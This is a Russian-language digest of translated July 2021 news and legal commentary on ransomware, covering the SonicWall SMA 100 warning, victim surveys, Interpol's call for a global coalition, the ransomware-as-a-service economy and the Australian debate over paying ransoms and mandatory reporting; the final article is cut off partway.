Фирма по кибербезопасности FireEye заявила, что более 100 организаций стали жертвами, и некоторые из них могли быть заражены, несмотря на то, что SonicWall исправила уязвимость продукта удаленного доступа серии SMA 100 в феврале 2021 года.

…SonicWall сказал: «Злоумышленники воспользуются любой возможностью, чтобы преследовать организации с целью получения злонамеренной выгоды. Эта эксплуатация нацелена на давно известную уязвимость, которая была исправлена в более новых версиях прошивки, выпущенных в начале 2021 года».

«SonicWall немедленно и неоднократно обращался к затронутым организациям по поводу шагов по смягчению последствий и руководству по обновлению. Несмотря на то, что количество затронутых или непропатченных устройств относительно невелико, SonicWall продолжает настоятельно рекомендовать организациям исправлять поддерживаемые устройства или

выводить из эксплуатации устройства безопасности, которые больше не поддерживаются, особенно если он получает обновленную информацию о возникающих угрозах», - говорится в заявлении…». ***(Jonathan Greig. SonicWall releases urgent notice about 'imminent' ransomware targeting firmware // ZDNet (https://www.zdnet.com/article/sonicwall-releases-urgent-notice-about-imminent-ransomware-targeting-firmware/). 14.07.2021).***

***

«Согласно новому опросу Cloudian, в котором представлены данные 200 руководителей ИТ-служб, которые подверглись атакам с использованием программ-вымогателей за последние два года, банды программ- вымогателей по-прежнему используют фишинг в качестве одного из основных способов атаки на организацию.

Более половины всех респондентов прошли тренинг по борьбе с фишингом среди сотрудников, а у 49% была задействована защита периметра, когда на них напали.

Почти 25% всех респондентов заявили, что их атаки с использованием программ-вымогателей начинались с фишинга, и из этих жертв 65% провели учебные занятия по борьбе с фишингом. 41% предприятий со штатом менее 500 сотрудников заявили, что их атаки начались с фишинга. Около трети всех жертв заявили, что их общедоступное облако было точкой входа, которую использовали группы вымогателей для атак.

«Это отражает растущую изощренность фишинговых схем: злоумышленники теперь имитируют электронные письма от доверенных лиц, таких как руководители высокого уровня (известные как «китобойные» атаки). Эти электронные письма иногда будут содержать личные данные, обычно полученные из социальных сетей, что делает их более понятными, вероятно, что даже настороженный человек станет жертвой», - поясняется в отчете.

Скорость групп вымогателей также поразительна: 56% заявили, что злоумышленникам удалось захватить их данные и отправить запрос о выкупе менее чем за 12 часов. 30% заявили, что их данные были получены за 24 часа. 76% жертв компаний, атакованных с помощью фишинга, отметили, что злоумышленники захватили системы в течение 12 часов.

В отчете добавлено, что «44% всех данных респондентов оказались в заложниках, а целевым объектом стали финансовые, операционные данные, данные о клиентах и сотрудниках». Среднее время простоя предприятий составляло три дня.

Средние финансовые затраты респондентов составили почти 500 000 долларов, и 55% заявили, что в конечном итоге они заплатили выкуп, при этом средняя стоимость выкупа составила 223 000 долларов. Около 15% заявили, что заплатили 500 000 долларов и более. Даже после оплаты только 57% смогли вернуть все свои данные.

«Результаты показывают холодную и твердую правду о таких атаках: их трудно предотвратить, даже если вы подготовлены. Программы-вымогатели могут проникнуть быстро, что существенно повлияет на финансовые показатели,

операции, клиентов, сотрудников и репутацию организации. Даже если вы заплатите выкуп, другие сопутствующие расходы могут быть значительными», - говорится в сообщении.

Прочие расходы, связанные с реагированием на атаки программ-вымогателей, составили в среднем 183 000 долларов. В среднем жертвы получали 60% расходов, покрываемых за счет киберстрахования. Но почти 90% жертв заявили, что их ставки киберстрахования выросли после того, как на них напали, и это в среднем увеличилось на 25%.

Согласно опросу, более половины респондентов имели дело с дополнительным воздействием на «свои финансовые дела, операции, сотрудников, клиентов и репутацию».

«Угроза программ-вымогателей будет и дальше преследовать организации по всему миру, если они не изменят свой подход и реакцию на нее», - сказал Джон Тор, директор по маркетингу Cloudian». ***(Jonathan Greig. Phishing continues to be one of the easiest paths for ransomware // ZDNet (https://www.zdnet.com/article/phishing-continues-to-be-one-of-the-easiest-paths-for-ransomware-report/). 15.07.2021).***

***

«Генеральный секретарь Интерпола Юрген Сток призвал полицейские органы всего мира сформировать глобальную коалицию с отраслевыми партнерами для предотвращения потенциальной пандемии программ-вымогателей.

Выступая на форуме высокого уровня Интерпола по программам-вымогателям (12 июля), генеральный секретарь Сток сказал, что, хотя некоторые решения существуют на национальном или двустороннем уровне, эффективное предотвращение и устранение программ-вымогателей означает принятие того же международного сотрудничества, которое используется для борьбы с терроризмом, торговлей людьми или мафией. такие группы, как «Ндрангета.

Призыв к расширению сотрудничества в борьбе с программами-вымогателями был сделан перед лицом его экспоненциального роста в более широкой экосистеме киберпреступности, когда преступники меняют свою бизнес-модель на предоставление программ-вымогателей как услуги.

«Несмотря на тяжесть своих преступлений, преступники-вымогатели постоянно меняют свою тактику, действуют без границ и практически безнаказанно», - сказал генеральный секретарь Сток.

«Подобно пандемии, которую оно использует, программы-вымогатели развиваются в различных вариантах, принося преступникам высокую финансовую прибыль».

«Программа-вымогатель стала слишком большой угрозой, чтобы любая организация или сектор могла бороться в одиночку; Масштабы этой задачи настоятельно требуют совместных глобальных действий, которым Интерпол может уникальным образом содействовать как нейтральный и надежный глобальный партнер», - добавил Генеральный секретарь Сток.

Исследование Chainalysis показало, что в 2020 году преступники заработали 350 миллионов долларов США на платежах с использованием программ-вымогателей, что на 311% больше, чем за год. По данным Palo Alto Networks, за тот же период средний размер выкупа увеличился на 171 процент.

Около 370 участников из государственных, частных и международных организаций, включая Всемирный экономический форум (ВЭФ), УНП ООН и национальные группы реагирования на компьютерные чрезвычайные ситуации, только за последние 12 месяцев изучили атаки программ-вымогателей на критически важные инфраструктуры во всем мире, в том числе на школы, больницы и поставщиков продуктов питания и крупный нефтепровод.

«Программы-вымогатели становятся эквивалентом цифрового пространства «Дикого Запада», жертвой которого может стать любой человек в любой момент. Обуздание программ-вымогателей требует коллективных усилий от всех для улучшения кибергигиены во всех секторах, повышения затрат и рисков для киберпреступников за счет подрывных действий и сокращения выплат преступникам», - сказал Тал Гольдштейн, руководитель отдела стратегии Центра кибербезопасности, ВЭФ.

«Партнерство Всемирного экономического форума в тесном сотрудничестве с Интерполом работает над формированием глобальной архитектуры для поддержки такого сотрудничества и изучает способы поощрения ответственных мер со стороны руководства организаций жертв».

Благодаря Project Gateway, обеспечивающему основу, которая позволяет Интерполу сотрудничать с частными партнерами и напрямую получать данные об угрозах, участники одобрили четыре рекомендации по созданию глобальной руководящей основы для действий по предотвращению и смягчению воздействия программ-вымогателей:

Предотвращение программ-вымогателей путем повышения осведомленности, партнерства и обмена информацией.

Стремитесь к разрушению программ-вымогателей и их экосистемы до их использования с помощью глобальных правоохранительных действий как реактивно, так и проактивно.

Обеспечьте экстренную поддержку в случае атак программ-вымогателей с использованием глобальной сети и возможностей Интерпола.

Обеспечьте поддержку после событий после атак программ-вымогателей, чтобы повысить устойчивость, гибкость и скорость реагирования.

«Полиции необходимо использовать знания индустрии кибербезопасности, групп реагирования на компьютерные чрезвычайные ситуации и других агентств, чтобы выявлять и пресекать киберпреступников в рамках настоящей коалиции, работая вместе над снижением глобального воздействия киберпреступности», - заключил генеральный секретарь Сток.

В соответствии с этой структурой Интерпол также сосредоточится на выявлении, выявлении и устранении субъектов киберпреступности, стоящих за атаками программ-вымогателей, используя региональный подход для оперативной координации со странами-членами». ***(Immediate action required to avoid Ransomware pandemic – INTERPOL // INTERPOL (https://www.interpol.int/News-***

and-Events/News/2021/Immediate-action-required-to-avoid-Ransomware-pandemic-INTERPOL). 12.07.2021).

***

«Согласно исследованию компании Trend Micro, занимающейся кибербезопасностью, около половины компаний не имеют технологий для предотвращения или обнаружения атак программ-вымогателей. Это говорит о том, что многие организации не имеют возможностей кибербезопасности, необходимых для предотвращения атак программ-вымогателей, таких как способность обнаруживать фишинговые электронные письма, компрометацию протокола удаленного рабочего стола (RDP) или другие распространенные методы, применяемые кибер-злоумышленниками во время кампаний вымогателей.

Например, в отчете предупреждается, что многие организации борются с обнаружением подозрительной активности, связанной с программами-вымогателями и атаками, которые могут предоставить ранние доказательства того, что киберпреступники взломали сеть. Это включает в себя неспособность идентифицировать необычное горизонтальное перемещение по корпоративным сетям или возможность обнаружить неавторизованных пользователей, получающих доступ к корпоративным данным

Киберпреступники, стоящие за атаками программ-вымогателей, получают доступ к этим данным, чтобы не только зашифровать их, но и украсть, используя угрозу публикации украденной информации в качестве дополнительного рычага давления на жертв программ-вымогателей, заставляя их платить выкуп за ключ дешифрования.

В дополнение к этому, исследование показывает, что менее половины организаций могут быстро восстановиться после атаки вымогателя. Исследование также показывает, что двое из пяти могут столкнуться с трудностями при эффективном изучении процессов смягчения последствий, необходимых для того, чтобы в будущем не стать жертвой атаки программ-вымогателей, даже если они стали жертвами киберпреступников.

«Есть еще много возможностей для того, чтобы программы-вымогатели стали более серьезной проблемой», - предупреждает исследовательская работа. «И если организации плохо подготовлены к защите от атаки в первый раз, они могут быть плохо подготовлены и во второй, и в третий раз. Пока бизнес-модель программ-вымогателей и вымогательства не будет нарушена, программы-вымогатели будут постоянной угрозой, с которой столкнутся организации. защищаться от.»

В этом документе, на основе интервью с 130 профессионалами кибер в средних и крупных организациях в США провел специально для исследования, рекомендует три процедуры кибербезопасности, что организации должны использовать, чтобы помочь защитить от падения жертвой вымогатель и других кибератак: это мульти -факторная аутентификация (MFA), быстрое устранение уязвимостей безопасности и хранение резервных копий в автономном режиме.

MFA может очень помочь, потому что даже если киберпреступникам удастся украсть пароли, этот дополнительный уровень защиты может выступить в качестве эффективного препятствия для их использования.

«Хотя фишинг по-прежнему может привести к взлому учетных данных, MFA снижает последующее воздействие», - говорится в отчете.

Между тем, быстрое исправление снижает возможность киберпреступников использовать известные уязвимости системы безопасности в рамках цепочки атак, а автономное хранение резервных копий обеспечивает метод извлечения данных, не платя киберпреступникам за ключ дешифрования.

Однако, несмотря на наличие резервных копий, восстановление сети может быть долгим и обременительным процессом, поэтому лучший способ избежать этого - вообще не стать жертвой атаки вымогателя, хотя в документе признается, что никакая стратегия кибербезопасности не может полностью предотвратить кибератаки.

Однако, если у организации есть заранее подготовленная стратегия реагирования на кибератаку, она может упростить ограничение ущерба и значительно повысить эффективность восстановления». ***(Danny Palmer. Ransomware: Only half of organisations can effectively defend against attacks, warns report // ZDNet (https://www.zdnet.com/article/ransomware-only-half-of-organisations-can-effectively-defend-against-attacks-warns-report/). 13.07.2021).***

***

«Программы-вымогатели отражают сложности и ограничения Интернета. Об этих ограничениях стоит помнить, поскольку мы все больше полагаемся на компьютерные системы, которые часто имеют довольно неглубокую основу, когда дело касается безопасности и надежности.

Например, большая часть Интернета построена на доверии, а безопасность очень тщательно продумана. Хакерство, конечно, было всегда, но сложность его окупаемости означала, что, за исключением спонсируемых государством атак и промышленного шпионажа, его влияние было весьма ограниченным.

Но рост криптовалюты, которая позволяет отслеживать платежи, а также общая небезопасность многих компьютерных систем и наша полная зависимость от них создали идеальный шторм программ-вымогателей, который сейчас охватывает очень много компаний.

Исправить эту проблему непросто. Администрация США теперь может угрожать принять меры против банд вымогателей, но, поскольку многие из них действуют из России, это будет непросто.

Конечно, США могут попытаться сломать инфраструктуру, которую используют банды, но это не без проблем. Во-первых, у этих банд нет огромной инфраструктуры для атак, и то, что у них есть, легко заменить. Тогда есть риск случайного нарушения систем невинной организации в чужой стране, что - особенно когда вы имеете дело с Россией - является хорошим способом поднять международную напряженность.

Скорее всего, США могут попытаться оказать жесткое финансовое давление на банды вымогателей - что они уже сделали, захватив часть отправленных им

биткойнов. Эти банды полностью мотивированы деньгами, поэтому лишение возможности получать выкуп или тратить свои нечестные доходы, вероятно, будет наиболее эффективным способом сократить их деятельность. Запрет на выплату выкупа может иметь некоторое влияние, но он также вынудит некоторые незадачливые фирмы прекратить работу, если их данные будут заблокированы навсегда…». ***(Steve Ranger. Ransomware shows the power and weakness of the web // ZDNet (https://www.zdnet.com/article/ransomware-shows-the-power-and-weakness-of-the-web/). 11.07.2021).***

***

«По словам исследователей, экосистема Ransomware-as-a-Service (RaaS) превращается в нечто похожее на корпоративную структуру с новыми возможностями, доступными для «переговорщиков» - роль, направленная на вымогательство у жертв для уплаты выкупа.

В четверг аналитик KELA по анализу угроз Виктория Кивилевич опубликовала результаты исследования тенденций RaaS, заявив, что операции с одним человеком почти «полностью прекратились» из-за прибыльного характера преступного бизнеса с программами-вымогателями.

Потенциальная финансовая выгода, полученная от компаний, отчаянно пытающихся разблокировать свои системы, привела к появлению специалистов по киберпреступности и вымогательству, а также привела к высокому спросу на людей, которые должны взять на себя переговорную часть цепочки атак.

Программы-вымогатели могут иметь разрушительные последствия не только для бизнеса, но и для его репутации и баланса. Если злоумышленникам удастся нанести удар по основному поставщику услуг, используемому другими предприятиями, они также могут быстро распространить свою поверхность атаки на другие объекты.

В одном из недавних случаев уязвимости нулевого дня в программном обеспечении VSA, предоставленном Kaseya, использовались во время праздничных выходных в США для взлома конечных точек и создания риска заражения организаций вымогателями. В настоящее время, по оценкам, это затронуло до 1500 предприятий, по крайней мере, из-за необходимости закрыть развертывание VSA до тех пор, пока не будет готов патч.

Согласно KELA, типичная атака с использованием программ-вымогателей состоит из четырех этапов: получение вредоносного ПО / кода, распространение и заражение целей, извлечение данных и / или поддержание устойчивости уязвимых систем и монетизация.

В каждой «области» есть участники, и в последнее время вырос спрос на специалистов по добыче и монетизации в цепочке поставок программ-вымогателей.

В частности, появление так называемых переговорщиков на арене монетизации стало тенденцией в пространстве RaaS. Исследователи KELA говорят, что, в частности, появляется все больше злоумышленников, которые управляют аспектом переговоров, а также оказывают давление, например, звонки, распределенные атаки типа отказ в обслуживании (DDoS) и создание угроз,

включая утечку информации. украдены во время атаки программы-вымогателя, если жертва не заплатит.

KELA предполагает, что эта роль возникла из-за двух потенциальных факторов: необходимости для операторов программ-вымогателей получить приличную прибыль и необходимости людей, способных управлять разговорным английским, для эффективного ведения переговоров.

«Эта часть атаки также, похоже, является деятельностью сторонней организации - по крайней мере, для некоторых аффилированных лиц и / или разработчиков», - говорит Кивилевич. «Таким образом, экосистема программ-вымогателей все больше и больше напоминает корпорацию с разнообразными ролями внутри компании и множеством аутсорсинговых операций».

Брокеры первичного доступа тоже востребованы. После более чем года наблюдения за темной сетью и активностью на форумах исследователи говорят, что привилегированный доступ к взломанным сетям резко вырос в цене. Некоторые списки теперь на 25% - 115% больше, чем было зарегистрировано ранее, особенно когда был получен доступ на уровне администратора домена.

Этим специалистам по вторжению может быть выплачено от 10% до 30% выкупа. Однако следует также отметить, что некоторые из этих брокеров вообще не будут работать с развертыванием программ-вымогателей и будут только «подписываться» на атаку, направленную против других целей, например тех, которые приведут к получению записей о кредитных картах.

«За последние годы банды программ-вымогателей превратились в корпорации, занимающиеся киберпреступностью, члены или «сотрудники» специализируются на различных частях атак программ-вымогателей и различных сопутствующих услугах», - комментирует KELA. «Недавний запрет программ-вымогателей на двух крупных русскоязычных форумах, похоже, не повлиял на эту экосистему, потому что на форумах была запрещена только реклама партнерских программ». ***(Charlie Osborne. Ransomware as a service: Negotiators are now in high demand // ZDNet (https://www.zdnet.com/article/ransomware-as-a-service-negotiators-between-hackers-and-victims-are-now-in-high-demand/). 08.07.2021).***

***

«Атаки программ-вымогателей стали популярными в этом году после серии громких атак на критически важную инфраструктуру по всему миру. Такие разнообразные предприятия, как система здравоохранения Ирландии, крупный нефтепровод в США и поставщик мяса JBS, стали жертвами программ-вымогателей.

Но что такое программы-вымогатели и почему они внезапно стали такими популярными? В этой статье рассматриваются последние тенденции в области программ-вымогателей, исследуются различные модели программ-вымогателей, рассматривается законность (и этичность) выплаты выкупа и подробно рассматриваются некоторые стратегии, которые компании могут использовать для защиты от атак программ-вымогателей.

Что такое программы-вымогатели?

Австралийский центр кибербезопасности (ACSC) определяет программы-вымогатели как тип вредоносного программного обеспечения (вредоносного ПО), которое, попав внутрь вашего устройства, делает ваши файлы или само устройство непригодными для использования путем их блокировки или шифрования. После того, как файлы или устройство заблокированы или зашифрованы, требуется выкуп, чтобы «разблокировать» / расшифровать их. Сумма варьируется в зависимости от стоимости файлов / устройств, которые заблокированы или зашифрованы, но требования программ-вымогателей обычно требуют оплаты в криптовалюте. Программы-вымогатели часто предназначены для распространения по сети и нацелены на базу данных и файловые серверы, поэтому они могут быстро распространиться и парализовать всю организацию.

Программы-вымогатели могут затронуть как отдельных лиц, так и организации, и могут нанести серьезный ущерб. Это также может нанести ущерб репутации, и исправить это будет очень дорого.

Неужели программы-вымогатели так важны?

В 2020 году атаки программ-вымогателей составили 41% всех требований киберстрахования, поданных в Coalition, крупную страховую компанию США. Коалиция обнаружила, что средний размер требуемого выкупа увеличился на 100% с 2019 по 1 квартал 2020 года и еще на 47% (в среднем до 338 669 долларов США) с 1 по 2 квартал 2020 года. Aon аналогичным образом сообщила, что премии киберстрахования выросли на 27% по сравнению с с начала апреля до середины мая 2021 года по сравнению с прошлогодним уровнем.

Федеральное правительство приняло к сведению и рассматривает возможность введения обязательной схемы уведомления о программах-вымогателях (которая, как ожидается, будет аналогична схеме уведомляемой утечки данных, уже действующей в соответствии с Законом о конфиденциальности 1988 (Cth)), а также потенциальное введение личная ответственность директоров компании в случае кибератаки (см. ниже). Лейбористы также предприняли шаги в этом отношении: помощник теневого министра связи Тим Уоттс, член парламента, внес 21 июня 2021 года в нижнюю палату законопроект о платежах от программ-вымогателей (законопроект). кто совершает платежи с помощью программ-вымогателей, чтобы сообщить подробности таких платежей в ACSC - подробнее см. ниже.

Хотя чистая прибыль компании и страховая премия, скорее всего, пострадают после атаки программы-вымогателя, есть некоторые свидетельства того, что утечки данных часто имеют ограниченное влияние на стоимость акций компании. Одно академическое исследованиеобнаружили, что в отношении большинства киберинцидентов, публично раскрытых листинговыми компаниями США, акции раскрывающей компании упали только на 1,3% в первые 3 дня после раскрытия информации по сравнению с их аналогами, а через 2 недели их акции восстановились. Однако эти данные отражают лишь среднюю оценку. Как всегда, будут исключения, ситуация которых делает их особенно уязвимыми для негативной огласки, связанной с утечкой данных. С увеличением масштабов и частоты атак программ-вымогателей, долгосрочный ущерб репутации компании, а

также цене ее акций становится все более серьезной возможностью, о которой компании все больше осознают.

Модели программ-вымогателей

Атаки программ-вымогателей больше не являются прерогативой недовольных, многие злоумышленники принимают структуры и бизнес-модели, аналогичные легальным малым предприятиям. Некоторые из новых моделей, используемых этими злоумышленниками, действительно новаторские. Например:

Программа-вымогатель как услуга (RaaS)

Бизнес-модель «Программа-вымогатель как услуга» очень похожа на модель «Программное обеспечение как услуга» (SaaS). Отдельные лица или группы (операторы) создают программы-вымогатели. Затем они нанимают хакеров (или аффилированных лиц), которые имеют доступ к системам, которые Оператор считает хорошей целью для программ-вымогателей. Операторы этих предприятий RaaS во многих случаях управляют ими как легальным малым бизнесом, предлагая горячие линии поддержки и веб-сайты для публикации атак. Эта система выгодна обеим сторонам - аффилированные лица получают простой способ монетизировать свои взломы без необходимости разрабатывать код для своего собственного вредоносного программного обеспечения, а операторы зарабатывают относительно легкие деньги, предоставляя программы-вымогатели без необходимости проникновения в целевые системы.

Выкуп и цифровое вымогательство (RaDE)

RaDE - это логическое продолжение модели RaaS. Филиалы, которые извлекают конфиденциальную информацию из целевой системы перед развертыванием программы-вымогателя, могут увеличить потребность в выкупе, вымогая у целевой компании угрозы раскрытия конфиденциальной информации. Это может быть особенно проблематично в свете обязательств по обязательному уведомлению об утечке данных. Существование модели RaDE может привести к предположению, что конфиденциальная информация была скомпрометирована при запуске атаки программы-вымогателя.

Законна ли выплата выкупа?

В настоящее время в Австралии нет законов, прямо запрещающих оплату запросов на программы-вымогатели. Однако есть некоторые законы и предлагаемые нормативно-правовые акты, которые компании, планирующие выплату выкупа, должны учитывать, в том числе следующие:

Закон об Уголовном кодексе 1995 года (Cth) (CCA)

Раздел 400 CCA касается отмывания денег и, скорее всего, является правонарушением, применимым к компании, планирующей выплату выкупа (кроме законов, относящихся к конкретному сектору). Согласно этим положениям лицо совершает уголовное преступление, если оно:

- иметь дело с деньгами или имуществом;
- когда существует риск того, что сделка станет орудием преступления; и
- они безрассудно или небрежно подходят к вопросу о том, будут ли деньги использоваться в качестве орудия преступления.

Любой хакер, требующий выкупа в рамках атаки программы-вымогателя, совершит одно или несколько уголовных преступлений. Хотя возможно, что хакер,

который просит выкуп, будет использовать доходы от своего преступления совершенно не преступным образом, также возможно, что хакеры будут продолжать проводить атаки программ-вымогателей, используя по крайней мере часть полученных денег в качестве выкуп для финансирования оборудования и услуг, которые будут использоваться в будущих атаках. Хотя во многих случаях компании, выплачивающие выкуп, не имеют четкого представления о том, на что будут использоваться выкупные деньги, если организованная банда хакеров возьмет на себя ответственность за атаку, существует риск того, что выкупленные средства станут «орудием преступления». для облегчения совершения будущих преступлений.

Возможная защита от этого нападения - принуждение. Защита от принуждения требует, чтобы плательщик выкупа поверил, что:

- угроза хакера будет реализована, если не будет совершено правонарушение;
- нет разумного способа сделать угрозу неэффективной; и
- выплата выкупа - разумный ответ на угрозу.

В случае атаки, угрозой которой является раскрытие конфиденциальной информации, которая может отрицательно повлиять на их бизнес, можно утверждать, что вышеуказанный тест может быть выполнен.

Закон о борьбе с отмыванием денег и финансированием терроризма 2006 года (Cth) (Закон о борьбе с отмыванием денег, полученных преступным путем)

Умышленное предоставление средств организации (прямо или косвенно) является правонарушением, если эта организация является террористической и преступник знает или не задумывается о том, является ли эта организация террористической. Закон о ПОД CTF требует, чтобы организации сообщали о «подозрительных вопросах» в Австралийский центр отчетов и анализа транзакций, когда у этой организации есть разумные основания для подозрений в отношении этого вопроса. Круг подозрительных вопросов очень широк и включает в себя вопросы, которые могут иметь отношение к расследованию преступлений, связанных с финансированием терроризма или отмыванием денег.

Хотя маловероятно, что выплата выкупа приведет к нарушению компанией этих законов, компании, выплачивающие выкуп, должны учитывать то, что они знают о субъекте, требующем выкуп, и определить, будет ли платеж такому субъекту считаться «подозрительным вопросом», о котором следует сообщать.

Счет 2021 года о платежах за программы-вымогатели

Законопроект отражает небольшую часть более широкой Национальной стратегии лейбористов- вымогателей, выпущенной ранее в этом году. Хотя это еще не закон (и, возможно, реально будет реализован только австралийским правительством под руководством лейбористов), законопроект дает некоторое представление о текущих взглядах на регулирование программ-вымогателей.

Законопроект требует от организаций, осуществляющих платежи в рамках программ-вымогателей, сообщать подробную информацию об этих платежах в ACSC. В таком уведомлении должны быть указаны:

- название и контактные данные юридического лица;

• личность злоумышленника (или любую информацию, известную организации о злоумышленнике); и

• описание атаки программы-вымогателя, включая кошелек с криптовалютой, на который был запрошен платеж, сумма уплаченного выкупа и любые «индикаторы компрометации», известные субъекту.

Законопроект предусматривает гражданский штраф в размере 1 000 штрафных единиц за неуведомление ACSC (1 110 000 долларов США для юридических лиц). Лица, раскрывающие информацию, защищены от использования доказательств против них в уголовном судопроизводстве, за исключением разбирательств в соответствии с разделами 137.1 или 137.2 УК (в отношении ложной или вводящей в заблуждение информации и документов).

ACSC может раскрыть любую информацию, содержащуюся в уведомлении, любому лицу (в том числе широкой общественности) с целью информирования этих лиц о текущей среде угроз кибербезопасности. Если в уведомление включена личная информация, ее необходимо деидентифицировать. ACSC также может передавать информацию (без деидентификации) любому агентству Содружества, штата или территории в правоохранительных целях. Что касается бизнеса, ACSC всегда сможет публично сообщить, что организация произвела платеж с помощью программы-вымогателя.

Предлагаемая личная ответственность директоров компании

Министр внутренних дел Карен Эндрюс недавно отметила, что кибератаки серьезно тормозят экономический рост и цифровую безопасность в Австралии. Чтобы бороться с этим, федеральное правительство ведет переговоры с представителями отрасли о возможном введении дополнительных обязанностей для директоров крупных австралийских компаний за упущения в кибербезопасности, аналогичные тем, которые уже существуют за нарушения здоровья и безопасности на рабочем месте. Пока неясно, какую форму примут эти обязанности и будут ли они управляться в обязательном или добровольном режиме.

Федеральное правительство начало консультации по вариантам этих регуляторных реформ, и заинтересованным сторонам было предложено представить материалы для обсуждения через эту форму до 23:59 пятницы, 27 августа 2021 года.

Должна ли выплата выкупа быть незаконной?

Дело в пользу законности

Сторонники сохранения законности выплат выкупа указывают, что запрет выплат выкупа может создать игру в курицу, в которой преступники будут заинтересованы в том, чтобы нацеливаться на компании, наименее способные позволить себе простой (например, больницы, школы, поставщики энергии и другие операторы критической инфраструктуры), чтобы чтобы максимизировать вероятность того, что им заплатят. От этого можно будет очень мало потерять, поскольку риски для общества и общества будут велики.

Даже если у компаний есть надежные резервные копии, и поэтому теоретически им не нужно платить выкуп за восстановление своих систем или данных, восстановление из резервных копий может оказаться непрактичным.

Например, в случае атаки вымогателя Colonial pipeline генеральный директор принял решение выплатить выкуп из-за критичности затронутой инфраструктуры и отсутствия уверенности в том, насколько серьезно были взломаны системы Colonial или сколько времени потребуется, чтобы вернуть их в оперативный режим. Криминализация выплаты выкупа может привести к более длительным сбоям в работе критически важной инфраструктуры из-за неспособности жертвы вымогателя быстро восстановить свои системы путем выплаты выкупа. Криминализация выплаты выкупа может также вынудить компании, которые не могут позволить себе остаться без своих систем, выбирать между банкротством или тайной выплатой выкупа. Компания, тайно выплачивающая выкуп, будет во власти преступников, которые могут вымогать у компании (используя модель RaDE) дополнительные деньги, угрожая раскрыть незаконную выплату выкупа.

Дело о незаконности

ACSC рекомендует, чтобы жертвы атак программ-вымогателей не платили выкуп, поскольку нет гарантии, что выкуп разблокирует их системы. В нем утверждается, что выплата выкупа может даже повысить уязвимость к будущим атакам, демонстрируя «слабость». Вместо этого они рекомендуют восстанавливать файлы из резервной копии и обращаться за дополнительными советами по поводу атаки. Конечно, такой подход возможен только в том случае, если у жертвы есть резервная копия, из которой можно восстановить данные.

Главный аргумент в пользу признания незаконных выплат выкупа заключается в том, что уплата выкупа создает поток доходов для виновных в атаке. Это стимулирует преступное поведение. По этой причине ФБР не рекомендует платить выкуп. Каждый уплаченный выкуп увеличивает возможности и стимул для проведения дальнейших атак. Юрисдикции и компании, выплачивающие выкуп, могут даже подвергаться нападениям несколько раз, поскольку они рассматриваются как привлекательные цели.

Любой план по признанию незаконной выплаты выкупа должен обеспечить наличие хорошо продуманных механизмов поддержки жертв, чтобы помочь компаниям, пострадавшим от атак программ-вымогателей. Крупные страховые компании решительно поддержали запрет на выплаты выкупа, поскольку это означает, что им больше не нужно будет обеспечивать страхование выплат выкупа. Однако для успеха запрета на выкуп правительствам необходимо будет предоставить компаниям достаточные ресурсы и поддержку, чтобы они могли предотвратить или адекватно противостоять атакам программ-вымогателей.

Разве страховка не оплатит это?

Как указано выше, частота атак программ-вымогателей и запрашиваемые суммы быстро растут. В результате в ближайшем будущем (а в некоторых случаях и в настоящее время) страховщики могут перестать обеспечивать защиту от атак программ-вымогателей (или увеличат свои страховые взносы настолько существенно, что страхование станет нежизнеспособным). Точно так же некоторые страховщики, похоже, оказались под давлением правительства, чтобы они не стимулировали выплату выкупа. Например, компания AXA недавно прекратила действие своей политики защиты от программ- вымогателей во Франции по запросу французского правительства.

Некоторые страховщики также начали запрашивать у страхователей новые доказательства и подтверждения, чтобы доказать, что их меры безопасности являются адекватными. Это сложный процесс, и многие страховщики по-прежнему полагаются на самоутверждение. Однако по мере того, как страховщики переходят к модели, в большей степени управляемой данными, это может вылиться в сторонние аудиты крупных компаний, прежде чем страховщик подтвердит свою политику.

Страховые компании также находятся в невыгодном положении, поскольку сумма, которую они выплачивают, часто совпадает с суммой, покрываемой полисом. Это связано с тем, что злоумышленники, совершающие атаки программ-вымогателей, уже имеют доступ к системе жертвы, и многие ищут в электронной почте жертвы доказательства наличия полиса киберстрахования. Если они его найдут, они смогут скорректировать свое требование о выкупе в соответствии с максимальной суммой покрытия, предусмотренной полисом. Это максимизирует как сумму, которую они получают, так и вероятность ее получения.

Как компании могут защитить себя?

Многие атаки программ-вымогателей не являются целевыми, но используют метод разброса - поиск компаний со слабым контролем безопасности для атаки. Многие системы скомпрометированы из-за плохого управления паролями или отсутствия многофакторной аутентификации (MFA). Хакеры часто просматривают Интернет в поисках систем, к которым они могут получить доступ, используя простые пароли, такие как «пароль». Лучший способ защититься от этих атак - усилить меры кибербезопасности вашей компании.

ФБР и ACSC рекомендуют следующие действия по усилению контроля в сфере кибербезопасности против вымогателей:

- Поддерживайте актуальность и актуальность операционных систем, программного обеспечения и приложений, обеспечивая включение автоматических обновлений.
- Включите MFA
- Внедрите элементы управления доступом, определяющие, кто и что может получить на ваших устройствах
- Убедитесь, что антивирусные и антивирусные решения настроены на автоматическое обновление и регулярное сканирование.
- Включите защиту от программ-вымогателей, если она доступна для вашей системы.
- Регулярно создавайте резервные копии данных и дважды проверяйте, были ли эти резервные копии завершены
- Защитите свои резервные копии. Убедитесь, что они не подключены к компьютерам и сетям, для которых выполняется резервное копирование.
- Создайте план обеспечения непрерывности работы на случай, если ваш бизнес или организация станут жертвой атаки программ-вымогателей.
- Сохраняйте бдительность и информированность об угрозах - ACSC предлагает бесплатную службу оповещения, чтобы помочь поддерживать бдительность, которая уведомляет зарегистрированные организации об обнаружении новой киберугрозы». ***(Kristen Stanton, Nikhil Shah and Melissa Fai.***

Ransomware – to pay or not to pay? // Gilbert + Tobin (https://www.gtlaw.com.au/knowledge/ransomware-pay-or-not-pay). 19.07.2021).

***

«Предлагаемые нормативные изменения для сдерживания «приливной волны» атак программ-вымогателей могут иметь последствия для корпоративного управления и риска.

Законопроект Австралии о частных членах, внесенный в парламент 21 июня, предлагает схему обязательного раскрытия информации о программах-вымогателях, которая будет применяться ко всем зарегистрированным и не котирующимся на бирже компаниям, за исключением малых предприятий, индивидуальных предпринимателей, некорпоративных организаций и благотворительных организаций.

В своем выступлении во втором чтении заместитель министра по кибербезопасности Тим Уоттс, который спонсировал законопроект, сослался на «приливную волну атак», которые становятся «невыносимым бременем для австралийских организаций».

Австралийский институт управления понимает, что законопроект призван стимулировать обсуждение этого вопроса, при этом, как сообщается, федеральное правительство рассматривает аналогичную схему, хотя оно еще не взяло на себя никаких политических обязательств.

Что такое программы-вымогатели?

Как определено в пояснительной записке к законопроекту, программа-вымогатель - это «вредоносное программное обеспечение, используемое для отказа в доступе к ИТ-системам организации и / или для угрозы раскрытию личных данных, если не будет уплачен выкуп».

